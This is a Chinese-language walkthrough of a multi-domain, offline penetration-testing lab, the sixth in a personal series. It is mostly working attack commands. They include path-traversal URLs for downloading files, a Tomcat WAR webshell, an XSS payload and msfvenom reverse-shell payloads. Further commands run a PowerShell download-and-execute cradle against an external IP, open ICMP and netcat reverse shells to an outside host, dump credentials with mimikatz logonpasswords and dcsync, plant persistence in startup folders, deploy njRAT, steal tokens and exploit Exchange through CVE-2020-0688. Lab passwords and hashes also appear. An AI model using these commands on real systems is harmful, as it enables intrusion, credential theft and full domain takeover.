打靶日记(六)不出网的情况下的多域控渗透
声明:此系列文章系个人记录打靶过程的文章,靶场为暗月师傅的靶场。这是第六篇。
1.项目介绍
项目九 是一个多域控 而且不出网的环境,是根据实际的环境改造而来。多 个域控应用在大型内网中,其中域控分有主域控,支部域控。例如一个公司在北 京有个总部办事处,广州有办事处,在上海也有办事处。每一个区域除了处理自 身的事务。而且个各个地方办事处内部信息共享,信息同步等。多个域控也类似, 可以信息同步。
本项目是一个不出网的环境,不出网就是内网不能访问外部。只允许入站, 入网的意思是允许访问。
本项目存在多个后端防火墙,可控制出站协议。存在多 个 DMZ (隔离区、非军事化区),也存在多个 VPN 点对点通信。 本项目不出网 所以向 metasploit 和 cobalt strike 这种针对内网渗透的工具 都不能在当前环境使用,进行这种测试要用到许多的小工具和技巧,而且环境复 杂测试起来要非常有耐心,非常考验渗透测试水平。
本项目是模拟红队对外网目标进行打点,经过多种渗透测试方法,找到入口 点,接着通过入口点对内部网络进行渗透测试,并且打穿整个内网,拿到指定渗 透域控,定位运维组人员,拿下运维机子,登录指定目标,获取信息。
本项目能学习 WEB 方面 java 框架的网站渗透,黑盒漏洞挖掘,垂直越权, 文件任意下载,多个逻辑漏洞,中间件 tomcat 利用,goby 扫描器使用,xray 被 动扫描器使用、kali 最版版本的使用,java 应用环境搭建。
本项目能学习内网方面,不出网下渗透高度复杂的内网渗透域渗透、多域渗 透、exchange 破解、,包括代理隧道、端口转发,多层网络横向渗透,跨网段渗 透,突破防火墙、渗透防火墙、ICMP 反弹 shell、DNS 后门,IPC 内网渗透,kali 渗透,端口扫描,mimikatz、nc 反弹 shell、密码记录,token 令牌获取,njrat 远 控,ladon 扫描器 Behinder 等工具的使用。
2.环境搭建
靶场示意图
这图靶机总共有十七个,因为靶场的的主机较多,所以要求服务器的性能较高。 把所有主机开启占用内存大概 55GB,占用硬盘容量大概 400G 建议选购买或者组 装一台性能不错的主机当做靶场服务器,最好购买二手的服务器或二手件 五千 以内绝对搞定。
我的配置是 CPU E3-1230 v5 运行内存 64GB 硬盘
3.信息收集
3.1端口扫描
主机发现
1 | netdiscover |
1 | masscan -p 1-65535 192.168.8.195 --rate=1000 |
3.2绑定hosts
把写入本地 hosts
1 | 192.168.8.195 www.moonsec123.com |
还是不出现页面,这里踩了一个很大的坑,TMG的外部网络IP没有修改,导致一直访问不到后端的服务。解决方案如下:
(1)修改网卡的IP地址
(2)修改TMG的外部网络地址,一直下一步,完成之后即可
(3)更改外部3389端口,最后需要在上面点击应用才行
再次扫描之后发现开启的是80和33389端口
nmap再次探测
绑定域名之后,访问页面访问 www.moonsec123.com 是 javamps 程序的网站
4. 测试 JAVAMPS 网站安全
4.1. Goby 扫描器检测网站安全
4.2.Xray 扫描网站
4.2.1. 设置代理
4.2.2. 被动扫描命令
1 | xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output proxy.html |
4.3搭建源码测试漏洞
安装好后分析文件
数据文件路径 WEB-INF\config\jdbc\jdbc.properties
本地安装后发现 会存在几个默认账号 密码是 11111
4.4后台任意文件下载
本地搭建后,登录后台进行漏洞挖掘,经过一段时间的挖掘发现几个漏洞,其中 漏洞最大的是 后台任意文件下载,
但是管理员权限的,但是 check 虽然信息审核员,如果没有做权限验证,后台的 用户应该可能下载,经测试也是可以的。下载数据库文件
1 | http://www.moonsec123.com/admin/data/o_download.do?filename=../WEB-INF/config/jdbc/jdbc.properties |
4.5任意文件下载 读取 tomcat-user.xml
当前网站只开放 80 端口,读取数据库配置文件作用不是特别大,最好是下载 tomcat 的配置文件,如果有设置账号和密码,那就可以顺利找到一个入口点。
1 | http://www.moonsec123.com/admin/data/o_download.do?filename=../../../../apache-tomcat/conf/tomcat-users.xml |
4.6登录 tomcat 上传war 文件getshell
打包shell.jsp为war包
jar cvf jspwar.war shell.jsp
登录后台部署项目
访问shell.jsp
1 | http://www.moonsec123.com/jspwar/shell.jsp |
4.7. Javapms 其他漏洞
4.7.1javapms 越权修改漏洞
漏洞描述:
注册普通会员登录系统 修改个人资料 使用 id 进行验证,所以可以修改任何人 的名字。包括管理员和普通用户。
漏洞验证 :
注册普通用户 进入 个人资料修改
将23改为24
登录id为24的账号,发现信息被修改了
4.7.2javapms_v1.4.beta XSS 漏洞
漏洞描述:
会员登录->会员管理中心->文档发布 标题出没有进行过滤 造成 xss 漏洞
漏洞验证:
会员登录->管理员中心->文档发布
发现h1起作用了
添加payload
文档发布处的标题,填入正常数据
提交后
使用
11
后提交,发生了变化效果
使用payload
1 | <script>alert(/1/)</script> |
4.7.3javapms_v1.4.beta 后台getshell
漏洞描述
1.后台可以创建目录,创建目录的时候可以穿越到其他目录。
2.创建文件的时候可以虽然限制了后缀名,但是重名名文件的时候,可以修改成
任何后缀名,而且没有对路径进行过滤,也会造成目录穿越。
3.在网站根目录因为框架的原因并不会解析 jsp,但是在上级 webapps 目录会解
析 jsp。
4.把目录创建在 webapps 的时候,并且将 jsp 重名 移动到目录即可 getshell。
漏洞验证
创建目录 ../../../../../moonsec
选择重名 ../../../../../garck/1.jsp
1 | 访问:http://www.moonsec123.com/garck/1.jsp?cmd=whoami |
4.7.4javapms_v1.4.beta 用户可穷举
漏洞描述
在注册处,如果填写账号会自动检测账号是否存在。并且没有进行有效过滤。
漏洞验证
1111 用户不存在 返回 true
4.7.5javapms_v1.4.beta 内置账号存在弱口令
漏洞描述
程序内置多个账号 存在弱口令 可被恶意利用,而且后台验证不严格可配合其他
漏洞一起使用,给系统带重大的安全隐患。
漏洞验证
账号 | 口令 |
---|---|
demo | 111111 |
check | 111111 |
可配合其他漏洞一起使用。
4.8入口点环境分析
网关是 192.168.22.128 当前 ip 是 192.168.22.130 是经 128 出网。 192.168.22.128 是代理或者防火墙
4.9主机发现
主机名 | IP |
---|---|
03SERVER3 | 192.168.22.13 |
12SERVER2 | 192.168.22.130 |
12SERVER4 |
4.9.1能使用的出站协议
1 | Ping |
1 | certutil.exe -urlcache -split -f https://www.baidu.com/index.html |
1 | nslookup www.baidu.com |
4.10. Msfconsole 生成后门上线
生成攻击载荷
1 | msfvenom -p set payload windows/x64/meterpreter/reverse_tcp lhost=192.168.0.182 lport=2333 -f exe -o 233.exe |
监听端口
1 | use exploit/multi/handler |
下载文件 certutil -urlcache -split -f http://192.168.0.182/233.exe
建立简单的 web 服务器
sudo python -m SimpleHTTPServer 80
但是不能出网
1 | Metasploit 生成 war 后门 |
访问 http://www.moonsec123.com/2/2.jsp 还是不能出网。
4.11. cobalt strike4.0 dns 上线
目前防火墙 只允许 icmp 协议和 dns 协议出站。在 cs 里面内置了一个 dns 上线 模块,很合适当前的环境。
准备一个域名设置 ns 记录和 A 记
在外网的 vps 里面装 kali 把 teamserver 执行即可。
使用 nohup 执行放再后台允许。
1 | sudo nohup ./teamserver 108.160.130.114 QWEasd55aa & |
设置监听器
生成利用脚本
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://108.160.130.114:80/dns'))" |
这条命令执行即可 但是当前环境是不出网的把 dns 保存下来放在本地下载执 行。 能出网的情况下\
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://127.0.0.1/dns/dns'))" |
这里执行完还没有上线,是因为当前主机连接不上外网。Icmp 可以出去 但是也 不能连上网络。
ICMP 协议反弹 shell
主机是可以使用 ping 所以支持 icmp 协议出网
1 | Icmpsh 这个攻击可以用 icmp反弹 shell |
192.168.8.133 是 vps 或者攻击者的 ip
1 | ./qq 192.168.8.133 192.168.22.130 |
目标上执行
1 | icmpsh.exe -t 192.16.8.133 |
上线成功
4.1312SERVER2 信息收集整
网站后台密码
Behinder 连接不上数据库 采用备份导出 SQL 查看密码。
1 | "C:\Program Files\MySQL\MySQL Server 5.5\bin\mysqldump.exe" -uroot -pzzzmoonsec javapmsv14 tq_user >C:/$Recycle.Bin/user.sql |
账号 | 密文 | 明文 |
---|---|---|
admin | ef05a5b18a007a35480af439a149c90e | 123moonsec |
Mysql 数据库账号和密码
1 | jdbc.url=jdbc:mysql://127.0.0.1:3306/javapmsv14?characterEncoding=utf8 |
Mimikatz 获取超级管理员 hash 明文获取
上传 mimikatz
1 | mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit |
1 | 671a2ad216fe3ae83e864f0eabfba056 解密的 |
账号 | NTML | 明文 |
---|---|---|
Administrator | 671a2ad216fe3ae83e864f0eabfba056 | QWEasd123456 |
4.14获取 ie 浏览器密码
1 | [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] |
保存在服务器上 powershell 执行 但是目标不存在密码
1 | powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://localhost/1/11.ps1')" |
5.内网横向移动
5.1内网 IPC 弱口令穷举
内网有个很强的扫描神器名叫 Ladon 项目地址 https://github.com/k8gege/Ladon
1 | 打包上传到目标用 rar 解压 |
扫描在线主机:
1 | C:\1\icmp\Ladon-master\Ladon.exe 192.168.22.8/24 OnlinePC |
扫描445端口
1 | C:\1\icmp\Ladon-master\Ladon.exe 192.168.22.8/24 PortScan 445 |
扫描 ipc 弱口令
1 | C:\1\icmp\Ladon-master\Ladon.exe 192.168.22.8/24 smbscan |
1 | C:\1\icmp\Ladon-master\Ladon.exe 192.168.22.131 smbscan |
5.2IPC 建立连接执行命令
1 | 建立连接 net use \\192.168.22.131\ipc$ "QWEasd123" /user:"localhost\administrator" |
5.3Ladon wmiexec 执行命令
1 | C:\1\icmp\Ladon-master\Ladon.exe wmiexec 192.168.22.131 administrator QWEasd123 whoami |
5.4获取防火墙服务器权限
1 | C:\1\icmp\Ladon-master\Ladon.exe 192.168.22.131 OnlinePC |
192.168.22.128 是网关 12server2 的流量走这个通道出去。
192.168.22.128 也是开放 445 端口 但是弱口令扫描工具出错。
使用搜集的密码逐条建立 ipc 连接。
1 | net use \\192.168.22.128\ipc$ "QWEasd123456" /user:"localhost\administrator" |
获取权限了。
copy 后门到防火墙启动目录下。如果想马上执行 可以使用
1 | SCHTASKS /Create /S 192.168.22.128 /U .\Administrator /P "QWEasd123456" /SC ONCE /ST 20:15 /TN test1 /TR c:\artifact.exe /RU system |
但是当前环境不合适这种模式。因为出错
1 | copy artifact.exe \\192.168.22.128\C$\Users\Administrator\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup |
成功复制 等待服务器重启即可 结果还是上不线。
5.4.1Icmp 反弹得到权限
创建一个1.bat的文件
内容为:
1 | c:/icmpsh.exe -t 192.168.8.133 |
复制icmpsh.exe到192.168.22.128的c盘
copy icmpsh.exe \\192.168.22.128\c$
添加1.bat到开机启动项
1 | copy 1.bat \\192.168.22.128\C$\Users\Administrator\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup\1.bat |
开始监听:
1 | ./qq 192.168.8.133 192.168.22.128 |
重启一下,等待上线(一直出现“E”,是因为有两个shell上线了)
开启远程终端(使用第一条命令重启后生效,第二条命令直接生效)
1 | C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections |
1 | C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 |
马上重启
1 | shutdown -r -f |
成功开启3389
但是nmap扫描不到,应该是被过滤了,所以这里就算开启了3389也没有办法连接
进行内网扫描
上传一份字典到ladon下,并且改名为:pass.txt,然后进行内网爆破445端口
1 | C:\1\icmp\Ladon-master\Ladon.exe 192.168.22.131 smbscan |
5.5. 连接 33389 登录 12server4
知道密码之后,就可以开启远程连接了
5.6. 横行渗透第第二层网络
在这台服务器上发现存在 vpn 连接 拨入连接
信息收集
1 | arp -a |
1 | net view |
1 | ping 03server3 |
1 | dir \\03server3\c$ |
5.7配置远控 njRAT v0.7d
njRAT 是一款红队的著名的远控 支持多种平台使用。 反向连接的 ip 和端口
生成木马:Server11.exe
5.8. 获取 vpn 服务器权限
生成木马之后,copy复制过去
1 | copy Server11.exe \\03server3\c$ |
1 | net time \\03server3看一下时间 |
查看端口的开放
1 | Netstat -ano |
查看一下操作系统
1 | set |
主机信息
1 | systeminfo |
第三层网络
1 | arp-a |
1 | net view |
尝试连接VPN看看,能不能通信
5.8.1. 开启 3389 远程终端
Wmic 开启
1 | wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 |
5.8.2注册表开启3389
1 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
1 | Netstat -ano查看 |
尝试连接:192.168.22.132
5.8.3. 终端远程连接 vpn 服务器拿下
5.9.VPN 服务器信息
1 | arp -a |
信息收集
查看服务器
1 | net start |
1 | net user |
1 | tasklist |
1 | ipconfig |
1 | 03server3 |
5.9.1. 开放服务 DNS
Dns发现两个域名
1 | Blue.com 61.100.100.129 |
知道了dns还有pop3
5.9.2. POP3 服务开启
5.9.3. 邮箱密码获取
使用工具获取pop3密码
5.9.4mimikatz获取明文密码
Mimikatz 系统密码哈希
上传 x86 mimikatz 获取明文
1 | privilege::debug |
5.10. 查看邮件服务
nslookup查看信息
1 | Nbscand -r 61.100.100.0/24 |
5.11. Exchange 信息收集
从查看网页源代码查看邮件服务器的版本
1 | owa/auth/15.0.1076/ |
5.12.Ew 与 SocksCap64 设置 socks5 代理访问内网
因为 2003 很多工具都不支持使用 特别是 powershell 和 net4.0 都不能安装所以设置代理在 12server4 测试安全。
1 | ew_for_Win -s ssocksd -l 7788 |
5.13Burpsuite 设置上游代理穷举 exchange2013账号密码
SocksCap64 开启系统代理
导入CA证书
下载证书之后导入,这时候浏览器不需要隧道运行,然后抓包
导入常用账号和密码进行破解即可
爆破到了账号密码
1 | Moonteam\moonsec |
5.14使用工具利用漏洞cve-2020-0688拿下广州chang服务器
存在漏洞的版本 只需要普通的用户即可。
1 | Microsoft Exchange Server 2010 Service Pack 3 |
安装python3
1 | pip install requests |
把生成的CVE-2020-0688_EXP.exe拿到服务器中执行
1 | CVE-2020-0688_EXP.exe -s https://61.100.100.131 -u moonteam\administrator -p QWEasd123 -c "cmd /c c:/233.exe" |
5.15第三层内网渗透
5.16针对 exchang 服务器信息收集
当前权限是 system
Whoami
Tasklist
有管理员在,一般就是域管理员了。
DNS
主 10.10.10.2.128
备 10.10.10.2131
域 moonteam.com
使用 mimikta 读不出明文。
5.17. incognito 窃取令牌域管理权限
当前的权限是 system 限制太多了。导致一些域命令不能使用。
当前的环境又不是交互环境。首先窃取域管令牌再用 njrat 后门上线。
incognito.exe list_tokens -u
存在域管 管理员执行后门上线。
1 | C:\>C:\gongju\incognito.exe execute -c "moonteam\administrator" C:\gongju\Server2.exe |
Whoami查看身份
5.18 NC反弹交互CNDSHEL
本地服务监听 nc -lvnp 8899
1 | Exchange 上执行 c:\nc.exe -e cmd.exe 61.100.100.129 9999 |
5.19.mimikatz dcsync 导出域控用户所有 hash
1 | privilege::debug |
5.20.查看当前 FSMO 主机角色
1 | netdom query fsmo |
5.21.列出域内组织
1 | dsquery ou |
5.23.列出所有域服务器
1 | dsquery server && net time /domain |
5.24.列出域内的所有计算机名
1 | dsquery computer domainroot -limit 65535 && net group "domain computers" /domain |
5.25.列出域内的所有用户
1 | dsquery user domainroot -limit 65535 && net user /domain |
5.26.获取广州支部域控权限
1 | copy Server2.exe \\12dc2\c$ |
1 | 设置任务时间 以系统权限启动 |
域控权限已经获取 同样的总部权限也是相同方法获取。
5.27渗透广州支部运维组
现在已经获取域控的权限,域内的主机都可以控制。在内网较多的权限在运维组, 如果在内网控制运维组,基本上可以得到所有在域以外的服务器。如果短期无法 获取目标的信息,可以长期监控 记录 运维组,一定会有所收获。 获取运维组成员权限。
1 | 扫描 c 段 nbtscan -r 10.10.2.0/24 |
5.28开启广州 12dc 域控 3389
1 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
5.29.Lcx 转发 3389 隧道连接
1 | lcx.exe -listen 2333 4489 |
在server中连接该端口
5.30登录 08server1 10.10.2.144
本地管理员已经登录成功
5.31.横向渗透第四层网络
在这台服务器上发现 vpn.txt 也存在
1 | 10.10.2.134 是vpn 服务器 |
5.32.弱口令登录目标主机
1 | QWEasd123456 |